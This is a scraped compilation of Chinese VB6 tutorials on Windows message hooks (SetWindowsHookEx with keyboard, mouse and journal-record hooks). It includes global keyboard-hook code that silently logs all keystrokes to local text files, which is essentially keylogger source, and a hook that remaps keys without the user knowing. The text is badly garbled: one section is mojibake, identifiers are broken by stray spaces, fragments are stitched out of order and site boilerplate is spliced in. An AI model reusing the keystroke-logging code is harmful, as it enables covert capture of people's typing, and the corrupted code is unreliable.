返回值是16位的，如开关键打开，则位0设为1（开关键包括CapsLock，NumLock，ScrollLock）；如某个键当时正处于按下状态，则位15为1；如已经抬起，则为0。
数据在储存器中，最高位为1时是负数，为0时是正数。
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long‘Setwindowshookex，就是建立钩子的函数，最主要的的函数。
用VB6编的截获Windows消息的钩子的源码
Private Const WM_RBUTTONDOWN = &H204
Private Const WM_RBUTTONUP WM_RBUTTONDBLCLK = &H206
再例如：键盘的敲击动作，在别的地方敲击键盘，并没有在自己的Form中敲击键盘，怎么才能获得按键的具体键值呢？
对单片机有了解的朋友都知道，鼠标和键盘的操作都是利用的是“中断”触发事件来完成的，那么当系统“中断”的时候，就会发出消息给操作系统，而这些消息就是Windows全局消息。
If hHook = 0 Then
hHook = SetWindowsHookEx(WH_MOUSE_LL, AddressOf HookProc, App.hInstance, 0)
End If
End Sub
Public Sub FreeHook()
If hHook <> 0 Then
模块代码：
Option Explicit
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
HookProc = 0 '令待完成的動作繼續完成
'End If
End If
If wParam = WM_LBUTTONDOWN Then
Debug.Print "l"
VB 钩子详解
Windows钩子函数的概念和实现方法首先我们必须大致了解Windows的基本运作机理，Windows作为一个多任务操作系统，它是分有层次概念的，运行在最底下的称为Ring 0层，在这一层里基本上都是一些硬件驱动程序和Windows的总内核，一般的应用程序极少极少运行在这层，当然也有例外，例如调试软件SoftICE(不过基本上这个软件的作用是Crack软件而不是调试)、还原精灵还有分区魔法大师，就是运行在Ring 0层的，另外就是著名的CIH病毒。
运行在Ring 0级的程序能够对所有硬件进行直接地址级访问，所受到的限制也最小。
消息(Message)传递是Windows独有的一种机制，因为Windows规定运行在Ring 0以上的程序是没有权利知道究竟硬件发生了怎样的中断变化的，Windows统一将这些中断变化封装成一系列的消息(黑箱作业，也就是常说的Black Box)，比如鼠标移动，系统产生一个OnMouseMove消息(但这条消息从何而来，相关的硬件中断向量是什么，程序无从得知)，OnMouseMove这条消息最后送达每一个窗口程序以供处理。
在更高层次的地方，比如说控件级，所有的消息还被封装成一系列“事件”，比如TextBox控件有KeyPress事件，实际上，这些事件都是林林种种的消息映射。
事件的概念使得程序员能够更加傻瓜化地进行编程，但是从另一个角度来说，这种黑箱作业也使得程序员过分依赖系统的安排，限制了程序员的思维，举个例子，Windows为按钮控件封装了大部分常用的属性和事件，完成一般的常规妈作是没有问题的，但是很遗憾，或许是Windows的疏忽，按钮控件的字体颜色永远默认是黑色，而且Windows没有为此提供一个专门的接口来修改，碰到这种情况，程序员就会非常头疼。
钩子函数(Hook Function)，就像一把钩子，它的作用是将消息在抵达窗口程序之前先钩到一个地方以便程序员进行分析，这个地方称为挂接函数链，消息在这里先被一系列的函数处理然后由程序员决定是否交还给Windows系统，在这里，你可以“吞噬”(Lickup)一些你不希望发生的消息，比如说你吞掉所有的键盘消息而不交还给系统，那么键盘将会失灵。
VB的钩子
VB的钩子：本来是因为要做一个小软件，其中要实现的一部分是用鼠标来定位一个座标，那么也就是说本身窗体的焦点可能会离开，就不能使用form的mousedown事件了，那么，使用钩子是可以实现的。
基本想法就是，用钩子获取鼠标点击消息，然后将光标所在的座标记录下来，钩子分为线程钩子和系统钩子。
线程钩子只能钩取本线程的消息，而系统钩子能勾取系统中所有的消息。
VB能实现的只是线程钩子。
而且就算是线程钩子好像对鼠标的操作也不会成功！！学习总是由问题引起的，可能这个问题很简单，但是我努力的去找答案一定会有收获对吗？呵呵。
第一步：建立钩子。
在我的理解，其实就是使用一个API函数，将一个回调函数的地址加入一个钩子队列中，当然可能这个队列只有一个钩子。
那么当发生硬件中断或者软中断的时候，操作系统对这个消息处理的时候，就会照顾到这个钩子，选择一个应用程序的函数来处理它。
vb 的钩子函数是放在一个模块中的，而且在申明的时候都是用public,即在moulde中，呵呵，不知道有没有写错。
好了要想建立钩子，用的是Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long这个API 函数。
很简单看看这个括号里的几个参数的意义：SetWindowsHookEx 参数有4个idHook As Long 钩子的类型。
以WH_打头的常数，如键盘钩子就是WH_KEYBOARD = 2这些常数在APIViewer里都有。
lpfn As Long 钩子函数的指针。
也就是你在公共模块中定义用来完成你需要的处理的函数或过程。
VB技巧全局键盘消息钩子
[VB技巧]全局键盘消息钩子程序中的代码：Private Sub Command1_Click()hHook=Hook_安装钩子(WH_KEYBOARD_LL,AddressOf按键消息_自定义回调函数)'安装钩子End SubPrivate Sub Command2_Click()Call Hook_卸载钩子(hHook) '释放钩子End Sub模块中的代码：'消息内容说明:''消息包含的信息有nCode,wParam,lParam这3个,本例以键盘钩子为例. ''nCode:'当nCode等于HC_ACTION时,wParam和lParam包含鼠标信息. '当nCode等于HC_NOREMOVE时,wParam和lParam包含鼠标信息，并且鼠标消息没有从消息队列里移除'wParam:'包含内容为消息事件.例如本例中"WM_KEYDOWN"事件.在本例中是用来筛选出"WM_KEYDOWN"事件的消息.'lParam:'包含了消息的内容,是一个结构型数据(EVENTMSG).包含了消息的所有内容,具体请查看声明里的注释'本hook为全局键盘hook，能hook所有键盘消息，而且是在系统处理消息前优先处理。
(这个功能需要选择WH_KEYBOARD_LL这个钩子)'如果不懂代码，只修改“按键消息_自定义回调函数”这个函数即可。
切勿修改其他代码。
Public hHook As Long '该挂钩处理过程的句柄Private Declare Function UnhookWindowsHookEx Lib"user32"(ByVal hHook As Long)As Long'卸载钩子函数声明'hHook:钩子句柄Private Declare Function SetWindowsHookEx Lib"user32" Alias"SetWindowsHookExA"(ByVal idHook As Long,ByVal lpfn As Long,ByVal hmod As Long,ByVal dwThreadId As Long)As Long '安装钩子函数声明'idHook:钩子类型(具体请查看"常用的钩子")'lpfn:回调函数的地址,用"AddressOf函数名"的方式直接作为参数传入函数.要注意的是这个回调函数必须在程序的标准模块中'hmod:实例句柄App.hInstance'dwThreadId:线程ID'返回值:若此函数执行成功,则返回值就是该挂钩处理过程的句柄;若此函数执行失败,则返回值为NULL(0).若想获得更多错误信息,请调用GetLasError 函数.Private Declare Function CallNextHookEx Lib"user32" (ByVal hHook As Long,ByVal nCode As Long,ByVal wParam As Long, lParam As Any)As Long'调用下一个钩子函数的声明Private Declare Sub CopyMemory Lib"kernel32"Alias "RtlMoveMemory"(Destination As Any,Source As Any,ByVal Length As Long)'复制内存块函数的声明Private Type EVENTMSG '结构化类型声明message As Long '在键盘消息中,包含的是按键码信息paramL As Long '32位消息的特定附加信息paramH As Long '32位消息的特定附加信息time As Long'在键盘消息中,包含的是消息发生的时间hwnd As Long '窗口句柄End Type'常量声明'--------------------------------------------------------------------------------------'常用的钩子'消息类型常量标识值消息类型适用范围Public Const WH_CALLWNDPROC=4 '发给窗口的消息线程或系统Public Const WH_CALLWNDPROCRET=12 '窗口返回的消息线程或系统Public Const WH_CBT=5 '窗口变化、焦点设定等消息线程或系统Public Const WH_DEBUG=9 '是否执行其它Hook的Hook线程或系统Public Const WH_FOREGROUNDIDLE=11 '前台程序空闲线程或系统Public Const WH_GETMESSAGE=3 '投放至消息队列中的消息线程或系统Public Const WH_JOURNALPLAYBACK=1 '将所记载的消息进行回放系统Public Const WH_JOURNALRECORD=0 '监视并记录输入消息系统Public Const WH_KEYBOARD=2 '键盘消息线程或系统Public Const WH_MOUSE=7 '鼠标消息线程或系统Public Const WH_MSGFILTER=-1 '菜单滚动条、对话框消息线程或系统Public Const WH_SHELL=10 '外壳程序的消息线程或系统Public Const WH_SYSMSGFILTER=6 '所有线程的菜单滚动条、对话框消息系统Public Const WH_KEYBOARD_LL=13 '钩子类型'WH_KEYBOARD一般还是在系统处理后处理，注入式键盘挂钩（注入dll到目标进程估计没人会喜欢），所以像Ctrl+alt+del系统会先处理掉，WH_KEYBOARD没法截获'WH_KEYBOARD_LL是在系统处理前处理的，所以很容易引起挂起之类的问题，不过操作系统通过LowLevelHooksTimeout控制超时，如果这个时间后HOOK函数还没返回，就直接被忽略了'--------------------------------------------------------------------------------------Public Const HC_ACTION=0'ncode的值,包含鼠标信息Public Const WM_KEYDOWN=&H100 '键盘消息（按键按下）Public Const WM_KEYUP=&H101 '键盘消息（按键弹起）Public Const WM_SYSKEYDOWN=&H104'键盘消息（系统按键按下）Public Const WM_SYSKEYUP=&H105 '键盘消息（系统按键弹起）Private HookMsg As EVENTMSG '结构化类型实体化'将数据写入TXTPublic Sub PrintTXT(ByVal CaseStr As String)Open"c:\键盘记录.txt"For Append As#1Print#1,CaseStrClose#1End Sub'***************************************************************** ********'**函数名：Hook_卸载钩子'**输入：ByVal hHook(Long)-钩子句柄'**输出：1表示成功,0表示失败'**功能描述：卸载指定句柄的钩子'***************************************************************** ********Public Function Hook_卸载钩子(ByVal挂起函数句柄As Long)Hook_卸载钩子=UnhookWindowsHookEx(hHook)End Function'***************************************************************** ********'**函数名：Hook_安装钩子'**输入：ByVal钩子类型(Long)-钩子类型,WH_KEYBOARD_LL为键盘钩子'**：ByVal回调函数地址(Long)-回调函数的地址,表示方式为AddressOf回调函数'**：ByVal实例句柄(Long)-App.hInstance'**：Optional线程ID(Long=0)-默认为0'**输出：返回>0表示成功(hhook钩子句柄)'**功能描述：安装指定句柄钩子'***************************************************************** ********Public Function Hook_安装钩子(ByVal钩子类型As Long,ByVal回调函数地址As Long)As LongHook_安装钩子=SetWindowsHookEx(钩子类型,回调函数地址, App.hInstance,0)End Function'***************************************************************** ********'**函数名：按键消息_自定义回调函数'**输入：ByVal ncode(Long)-nCode跟所有其他钩子处理函数一样，只要记得当nCode小于0时：调用CallNextHookEx()就可以了。
VB6全局键盘、鼠标钩子
VB6全局键盘、⿏标钩⼦VB: èü?ì?￠êó±ê13×ó'---------------------------------'Form'°2×°13×óPrivate sub AddHook()'?ü?ì13×ólHook(0) = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf CallKeyHookProc, App.hInstance, 0)'êó±ê13×ólHook(1) = SetWindowsHookEx(WH_MOUSE_LL, AddressOf CallMouseHookProc, App.hInstance, 0)End Sub'D?13×óPrivate sub DelHook()UnhookWindowsHookEx lHook(0)UnhookWindowsHookEx lHook(1)End Sub'---------------------------------'?￡?éPublic Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As LongPublic Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As LongPublic Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As IntegerPublic Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long) Public Type KEYMSGSvKey As Long 'Dé?a?? (and &HFF)sKey As Long 'é¨?è??flag As Long '?ü°′??￡o128 ì§?e￡o0time As Long 'Window??DDê±??End TypePublic Type MOUSEMSGSX As Long 'x×ù±êY As Long 'y×ù±êa As Longb As Longtime As Long 'Window??DDê±??End TypePublic Type POINTAPIX As LongY As LongEnd TypePublic Const WH_KEYBOARD_LL = 13Public Const WH_MOUSE_LL = 14Public Const Alt_Down = &H20'-----------------------------------------'￠Public Const HC_ACTION = 0Public Const HC_SYSMODALOFF = 5Public Const HC_SYSMODALON = 4'?ü?ì￠Public Const WM_KEYDOWN = &H100Public Const WM_KEYUP = &H101Public Const WM_SYSKEYDOWN = &H104Public Const WM_SYSKEYUP = &H105'êó±ê￠Public Const WM_MOUSEMOVE = &H200Public Const WM_LBUTTONDOWN = &H201Public Const WM_LBUTTONUP = &H202Public Const WM_LBUTTONDBLCLK = &H203Public Const WM_RBUTTONDOWN = &H204Public Const WM_RBUTTONUP = &H205Public Const WM_RBUTTONDBLCLK = &H206Public Const WM_MBUTTONDOWN = &H207Public Const WM_MBUTTONUP = &H208Public Const WM_MBUTTONDBLCLK = &H209Public Const WM_MOUSEACTIVATE = &H21Public Const WM_MOUSEFIRST = &H200Public Const WM_MOUSELAST = &H209Public Const WM_MOUSEWHEEL = &H20APublic Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As LongPublic strKeyName As String * 255Public Declare Function GetActiveWindow Lib "user32" () As Long Public keyMsg As KEYMSGS Public MouseMsg As MOUSEMSGSPublic lHook(1) As Long'----------------------------------------'?￡?aêó±êPrivate Const MOUSEEVENTF_LEFTDOWN = &H2Private Const MOUSEEVENTF_LEFTUP = &H4Private Const MOUSEEVENTF_ABSOLUTE = &H8000 ' absolute movePrivate Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long,ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByValdwExtraInfo As Long)Private Declare Function ClientToScreen Lib "user32" (ByVal hwnd AsLong, lpPoint As POINTAPI) As Long'--------------------------------------'?￡?a°′?üPrivate Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByValbScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)'êó±ê13×óPublic Function CallMouseHookProc(ByVal code As Long, ByVal wParam AsLong, ByVal lParam As Long) As LongDim pt As POINTAPIIf code = HC_ACTION ThenCopyMemory MouseMsg, lParam, LenB(MouseMsg)Form1.txtMsg(1).Text = "X=" + Str(MouseMsg.X) + " Y=" +Str(MouseMsg.Y)Form1.txtHwnd(1) = Format(wParam, "0")If wParam = WM_MBUTTONDOWN Then '°??D?üa×ó?ümouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0CallMouseHookProc = 1End IfIf wParam = WM_MBUTTONUP Thenmouse_event MOUSEEVENTF_LEFTUP, 0, 0, 0, 0CallMouseHookProc = 1End IfEnd IfIf code <> 0 ThenCallMouseHookProc = CallNextHookEx(0, code, wParam, lParam)End IfEnd Function'?ü?ì13×óPublic Function CallKeyHookProc(ByVal code As Long, ByVal wParam AsLong, ByVal lParam As Long) As LongDim lKey As LongDim strKeyName As String * 255Dim strLen As LongIf code = HC_ACTION ThenCopyMemory keyMsg, lParam, LenB(keyMsg)Select Case wParamCase WM_SYSKEYDOWN, WM_KEYDOWN, WM_SYSKEYUP, WM_KEYUP:lKey = keyMsg.sKey And &HFF 'é¨?è??lKey = lKey * 65536strLen = GetKeyNameText(lKey, strKeyName, 250)Form1.txtMsg(0).Text = "?ü??:" + Left(strKeyName, strLen) + " Dé?a??:" + Format(keyMsg.vKey And &HFF, "0") + " é¨?è??:" + Format(lKey / 65536, "0")Form1.txtHwnd(0) = ""If (GetKeyState(vbKeyControl) And &H8000) ThenForm1.txtHwnd(0) = Form1.txtHwnd(0) + "Ctrl "End IfIf (keyMsg.flag And Alt_Down) <> 0 ThenForm1.txtHwnd(0) = Form1.txtHwnd(0) + "Alt "End IfIf (GetKeyState(vbKeyShift) And &H8000) ThenForm1.txtHwnd(0) = Form1.txtHwnd(0) + "Shift"End If'keyMsg.vKey And &HFF Dé?a??'lKey / 65536 é¨?è??If (keyMsg.vKey And &HFF) = vbKeyY Then '°?Y?üìaN If wParam = WM_SYSKEYDOWN Or wParam =WM_KEYDOWN Then keybd_event vbKeyN, 0, 0, 0End IfCallKeyHookProc = 1 '?á±?°′?üEnd IfEnd SelectEnd IfIf code <> 0 ThenCallKeyHookProc = CallNextHookEx(0, code, wParam, lParam)End IfEnd Function================================================================== =。
VB钩子函数
钩子函数WINDOWS的钩子函数可以认为是WINDOWS的主要特性之一。
利用它们，您可以捕捉您自己进程或其它进程发生的事件。
通过“钩挂”，您可以给WINDOWS一个处理或过滤事件的回调函数，该函数也叫做“钩子函数”，当每次发生您感兴趣的事件时，WINDOWS都将调用该函数。
一共有两种类型的钩子：局部的和远程的。
局部钩子仅钩挂您自己进程的事件。
远程的钩子还可以将钩挂其它进程发生的事件。
远程的钩子又有两种：基于线程的它将捕获其它进程中某一特定线程的事件。
简言之，就是可以用来观察其它进程中的某一特定线程将发生的事件。
系统范围的将捕捉系统中所有进程将发生的事件消息。
当您创建一个钩子时，WINDOWS会先在内存中创建一个数据结构，该数据结构包含了钩子的相关信息，然后把该结构体加到已经存在的钩子链表中去。
新的钩子将加到老的前面。
当一个事件发生时，如果您安装的是一个局部钩子，您进程中的钩子函数将被调用。
如果是一个远程钩子，系统就必须把钩子函数插入到其它进程的地址空间，要做到这一点要求钩子函数必须在一个动态链接库中，所以如果您想要使用远程钩子，就必须把该钩子函数放到动态链接库中去。
当然有两个例外：工作日志钩子和工作日志回放钩子。
这两个钩子的钩子函数必须在安装钩子的线程中。
原因是：这两个钩子是用来监控比较底层的硬件事件的，既然是记录和回放，所有的事件就当然都是有先后次序的。
所以如果把回调函数放在DLL中，输入的事件被放在几个线程中记录，所以我们无法保证得到正确的次序。
故解决的办法是：把钩子函数放到单个的线程中，譬如安装钩子的线程。
钩子一共有14种，以下是它们被调用的时机：WH_CALLWNDPROC 当调用SendMessage时WH_CALLWNDPROCRET 当SendMessage的调用返回时WH_GETMESSAGE 当调用GetMessage 或 PeekMessage时WH_KEYBOARD 当调用GetMessage 或 PeekMessage 来从消息队列中查询WM_KEYUP 或 WM_KEYDOWN 消息时WH_MOUSE 当调用GetMessage 或 PeekMessage 来从消息队列中查询鼠标事件消息时WH_HARDWARE 当调用GetMessage 或 PeekMessage 来从消息队列种查询非鼠标、键盘消息时WH_MSGFILTER 当对话框、菜单或滚动条要处理一个消息时。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
'模块部分Public Type EV ENTMSGvKey As LongsKey As Longflag As Longtime As LongEnd TypeDec lare Function UnhookWindow sHookEx Lib "user32" (ByVal hHook As Long) As LongDec lare Function SetWindow sHookEx Lib "user32" Alias "SetWindow sHookE xA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dw ThreadId As Long) As LongDec lare Function CallNextHookE x Lib "user32" (ByVal hHook As Long, ByVal ncode As Lon g, ByVal w P aram As Long, lParam As Long) As LongPublic Declare Sub Copy Memory Lib "ker nel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)Public my ms g As E V ENTMSGPublic Const WH_KE YBOA RD_LL = 13Public Const WM_KE Y DOWN = &H100Public hHook&, i%, appStr$, s1$, s2$, pos1$(), pos2$()Sub ints()appStr = "从" & Now & "开始键盘记录如下..." & vbCrLfs1 = "96 97 98 99 100 101 102 103 104 105 106 107 109 110 111 13 " + _"144 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 " + _"85 86 87 88 89 90 48 49 50 51 52 53 54 55 56 57 192 189 187 220 8 " + _"44 45 46 145 36 35 19 33 34 38 40 37 39 27 112 113 114 115 116 117 " + _"118 119 120 121 122 123 9 20 160 162 91 13 161 92 93"s2 = "小0 小1 小2 小3 小4 小5 小6 小7 小8 小9 小* 小+ 小- 小. 小/ " + _"小E nter 小NumLock A B C D E F G H I G K L M N O P Q R S T U V W X Y Z " + _"0 1 2 3 4 5 6 7 8 9 ` - = \ Bac kSpace " + _"P rintScreen Insert Delete ScrollLock Home End PauseBreak PageUp PageDow n " + _"上下左右E SC F1 F2 F3 F4 F5 F6 F7 F8 F9 F10 F11 F12 " + _"TAB CapsLoc k 左Shift 左Ctr l 左Win Enter 右Shift 右Win 右List 右Ctrl"pos1 = Split(s1, " "): pos2 = Split(s2, " ")End SubPublic Function MyKBHook(ByVal ncode As Long, ByVal w P aram As Long, ByVal lP ar am As Long) As Long If ncode = 0 ThenIf w P aram = WM_KE Y DOWN ThenCopy Memory my msg, ByVal lParam, Len(my ms g)For i = 0 To UBound(pos1) - 1If my msg.vKey = Val(pos1(i)) ThenappStr = appStr & pos2(i) & " ": Exit ForEnd IfNextEnd IfEnd IfMy KBHook = CallNextHookE x(hHook, ncode, w P aram, lParam)End Function'窗体部分Dim fls$P r ivate Sub form_Load()Key P review = 1: ScaleMode = 3: AutoRedraw = 1: Caption = "键盘记录"Module1.ints '初始化数据hHook = SetWindow sHookE x(WH_KE Y BOA RD_LL, AddressOf MyKBHook, App.hInstance, 0) '加载If hHook = 0 Then E ndEnd SubP r ivate Sub For m_Unload(Cancel As Integer)Call UnhookWindow sHookE x(hHook) '程序退出时Open "D:\getkey.txt" For Append As #1 '打开文本P r int #1, Module1.appStr '一次性记录P r int #1, "到" & Now() & "结束!" & vbCr LfClose #1End SubP r ivate Sub For m_Key Dow n(KeyCode As Integer, Shift As Integer)If Key Code = vbKey E scape Then Unload MeEnd Sub一、新建一个ActiveX Dll工程，名字栏里取名为Sys Hook二、添加一个模块，取名为mHook，添加代码如下：Option E xplicitType POINTA PIx As Longy As LongEnd TypeType TMSGhw nd As Longmessage As Longw P aram As LonglP aram As Longtime As Longpt As P OINTA PIEnd TypePublic Declare Sub Copy Memory Lib "ker nel32" Alias "RtlMoveMemory" (lpDest As Any, lpSource As Any, ByVal cBytes As Long)P r ivate Declar e Function CallNextHookE x Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal w P aram As Long, ByVal lParam As Long) As LongPublic hJournalHook As Long, hAppHook As LongPublic SHptr As LongPublic Const WM_CA NCELJOURNAL = &H4BPublic Function JournalRecordP r oc(ByVal nCode As Long, ByVal w P aram As Long, ByVal lParam As Long) As LongIf nCode < 0 ThenJournalRecordP roc = CallNextHookEx(hJournalHook, nCode, w P aram, lParam)E x it FunctionEnd IfResolvePointer(SHptr).FireE v ent lParamCall CallNextHookE x(hJournalHook, nCode, w P aram, lParam)End FunctionPublic Function AppHookProc(ByVal nCode As Long, ByVal w P ar am As Long, ByVal lParam As Long) As LongIf nCode < 0 ThenAppHookP roc = CallNextHookE x(hAppHook, nCode, w P aram, lP ar am)E x it FunctionEnd IfDim ms g As TMSGCopy Memory msg, ByVal lP ar am, Len(msg)Select Case ms g.messageCase WM_CA NCELJOURNALIf w P aram = 1 Then ResolvePointer(SHptr).Fir eE vent WM_CA NCELJOURNALEnd SelectCall CallNextHookE x(hAppHook, nCode, w P aram, ByVal lParam)End FunctionP r ivate Function ResolvePointer(ByVal lpObj&) As cSystemHookDim oSH As cSystemHookCopy Memory oSH, lpObj, 4&Set ResolvePointer = oSHCopy Memory oSH, 0&, 4&End Function三、把工程自动建立的Class1类模块改名为cSystemHook，添加代码如下：Option E xplicitPublic E v ent MouseDow n(Button As Integer, Shift As Integer, x As Single, y As Single)Public E v ent MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)Public E v ent MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)Public E v ent Key Dow n(KeyCode As Integer, Shift As Integer)Public E v ent Key Up(Key Code As Integer, Shift As Integer)Public E v ent SystemKey Dow n(KeyCode As Integer)Public E v ent SystemKey Up(Key Code As Integer)P r ivate Declar e Function SetWindow sHookE x Lib "user32" Alias "SetWindow sHookE xA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dw ThreadId As Long) As LongP r ivate Declar e Function UnhookWindowsHookE x Lib "user32" (ByVal hHook As Long) As LongP r ivate Declar e Function GetAsyncKeyState% Lib "user32" (ByVal v Key As Long)P r ivate Const WM_KE Y DOWN = &H100P r ivate Const WM_KE Y UP = &H101P r ivate Const WM_MOUSEMOV E = &H200P r ivate Const WM_LBUTTONDOWN = &H201P r ivate Const WM_LBUTTONUP = &H202P r ivate Const WM_LBUTTONDBLCLK = &H203P r ivate Const WM_RBUTTONDOWN = &H204P r ivate Const WM_RBUTTONUP = &H205P r ivate Const WM_RBUTTONDBLCLK = &H206P r ivate Const WM_MBUTTONDOWN = &H207P r ivate Const WM_MBUTTONUP = &H208P r ivate Const WM_MBUTTONDBLCLK = &H209P r ivate Const WM_MOUSEWHEEL = &H20AP r ivate Const WM_SYSTEMKEY DOWN = &H104P r ivate Const WM_SYSTEMKEY UP = &H105P r ivate Const WH_JOURNALRECORD = 0P r ivate Const WH_GETMESSAGE = 3P r ivate Type E V ENTMSGw Msg As LonglP aramLow As LonglP aramHigh As LongmsgTime As LonghWndMsg As LongEnd TypeDim EMSG As E V ENTMSGPublic Function SetHook() As BooleanIf hJournalHook = 0 Then hJournalHook = SetWindow sHookE x(WH_JOURNALRECORD, AddressOf JournalRecordP roc, App.hInstance, 0)If hAppHook = 0 Then hAppHook = SetWindow sHookE x(WH_GETMESSAGE, AddressOf AppHookProc, App.hInstance, App.ThreadID)SetHook = TrueEnd FunctionPublic Sub RemoveHook()UnhookWindow sHookE x hAppHookUnhookWindow sHookE x hJournalHookEnd SubP r ivate Sub Class_Initialize()SHptr = ObjP tr(Me)End SubP r ivate Sub Class_Ter minate()If hJournalHook Or hAppHook Then RemoveHookEnd SubFriend Function FireEvent(ByVal lP aram As Long)Dim i%, j%, k%Dim s As Str ingIf lParam = WM_CA NCELJOURNA L ThenhJournalHook = 0SetHookE x it FunctionEnd IfCopy Memory EMSG, ByVal lP ar am, Len(EMSG)Select Case EMSG.w MsgCase WM_KE Y DOWNj = 0If GetAsyncKeyState(vbKeyShift) Then j = (j Or 1) 'fixed by JJIf GetAsyncKeyState(vbKey Control) Then j = (j Or 2) 'fixed by JJIf GetAsyncKeyState(vbKey Menu) Then j = (j Or 4) 'fixed by JJs = Hex(EMSG.lP ar amLow)k = (EMSG.lParamLow And &HFF)RaiseE v ent Key Dow n(k, j)s = Left$(s, 2) & Right$("00" & Hex(k), 2) 'fixed by JJEMSG.lParamLow = CLng("&h" & s)Copy Memory ByVal lParam, EMSG, Len(EMSG)Case WM_KE Y UPj = 0 'fixed by JJIf GetAsyncKeyState(vbKeyShift) Then j = (j Or 1) 'fixed by JJIf GetAsyncKeyState(vbKey Control) Then j = (j Or 2) 'fixed by JJIf GetAsyncKeyState(vbKey Menu) Then j = (j Or 4) 'fixed by JJs = Hex(EMSG.lP ar amLow)k = (EMSG.lParamLow And &HFF)RaiseE v ent Key Up(k, j)s = Left$(s, 2) & Right$("00" & Hex(k), 2) 'fixed by JJEMSG.lParamLow = CLng("&h" & s)Copy Memory ByVal lParam, EMSG, Len(EMSG)Case WM_MOUSEMOV Ei = 0 'fixed by JJIf GetAsyncKeyState(vbKeyLButton) Then i = (i Or 1) 'fixed by JJIf GetAsyncKeyState(vbKey RButton) Then i = (i Or 2) 'fixed by JJIf GetAsyncKeyState(vbKey MButton) Then i = (i Or 4) 'fixed by JJj = 0 'fixed by JJIf GetAsyncKeyState(vbKeyShift) Then j = (j Or 1) 'fixed by JJIf GetAsyncKeyState(vbKey Control) Then j = (j Or 2) 'fixed by JJIf GetAsyncKeyState(vbKey Menu) Then j = (j Or 4) 'fixed by JJRaiseE v ent MouseMove(i, j, CSng(EMSG.lP aramLow), CSng(EMSG.lParamHigh)) Case WM_LBUTTONDOWN, WM_RBUTTONDOWN, WM_MBUTTONDOWNi = 0 'fixed by JJIf GetAsyncKeyState(vbKeyShift) Then i = (i Or 1) 'fixed by JJIf GetAsyncKeyState(vbKey Control) Then i = (i Or 2) 'fixed by JJIf GetAsyncKeyState(vbKey Menu) Then i = (i Or 4) 'fixed by JJRaiseE v ent MouseDow n(2 ^ ((EMSG.w Msg - 513) / 3), i, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh))Case WM_LBUTTONUP, WM_RBUTTONUP, WM_MBUTTONUPi = 0 'fixed by JJIf GetAsyncKeyState(vbKeyShift) Then i = (i Or 1) 'fixed by JJIf GetAsyncKeyState(vbKey Control) Then i = (i Or 2) 'fixed by JJIf GetAsyncKeyState(vbKey Menu) Then i = (i Or 4) 'fixed by JJRaiseE v ent MouseUp(2 ^ ((EMSG.w Msg - 514) / 3), i, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh)) Case WM_SYSTEMKE Y DOWNs = Hex(EMSG.lP ar amLow)k = (EMSG.lParamLow And &HFF)If k <> vbKey Menu Then RaiseE vent SystemKey Dow n(k)s = Left$(s, 2) & Right$("00" & Hex(k), 2) 'fixed by JJEMSG.lParamLow = CLng("&h" & s)Copy Memory ByVal lParam, EMSG, Len(EMSG)Case WM_SYSTEMKE Y UPs = Hex(EMSG.lP ar amLow)k = (EMSG.lParamLow And &HFF)If k <> vbKey Menu Then RaiseE vent SystemKey Up(k)s = Left$(s, 2) & Right$("00" & Hex(k), 2) 'fixed by JJEMSG.lParamLow = CLng("&h" & s)Copy Memory ByVal lParam, EMSG, Len(EMSG)Case ElseEnd SelectEnd Function四、千万别望了保存（否则你要后悔的），编译生成DLL，然后可以测试了，做一个普通的工程，添加引用SysHook，在窗体中添加测试代码（嘿嘿，可能你会吃点苦头）：Option E xplicitDim WithE v ents sh As cSystemHookP r ivate Sub For m_Load()Set sh = New cSystemHooksh.SetHookEnd SubP r ivate Sub For m_Unload(Cancel As Integer)sh.RemoveHookSet sh = NothingEnd SubP r ivate Sub sh_MouseDow n(Button As Integer, Shift As Integer, x As Single, y As Single) If Button = 1 ThenMsgBox "你按了左键"End IfIf Button = 2 ThenMsgBox "你按了右键"End IfEnd Sub五、接着你可以试试全局的下列事件（记住刚才的教训，可要小心哦）：P r ivate Sub sh_Key Dow n(KeyCode As Integer, Shift As Integer)End SubP r ivate Sub sh_Key Up(Key Code As Integer, Shift As Integer)End SubMouseMove(Button As Integer, Shift As Integer, x As Single, y As 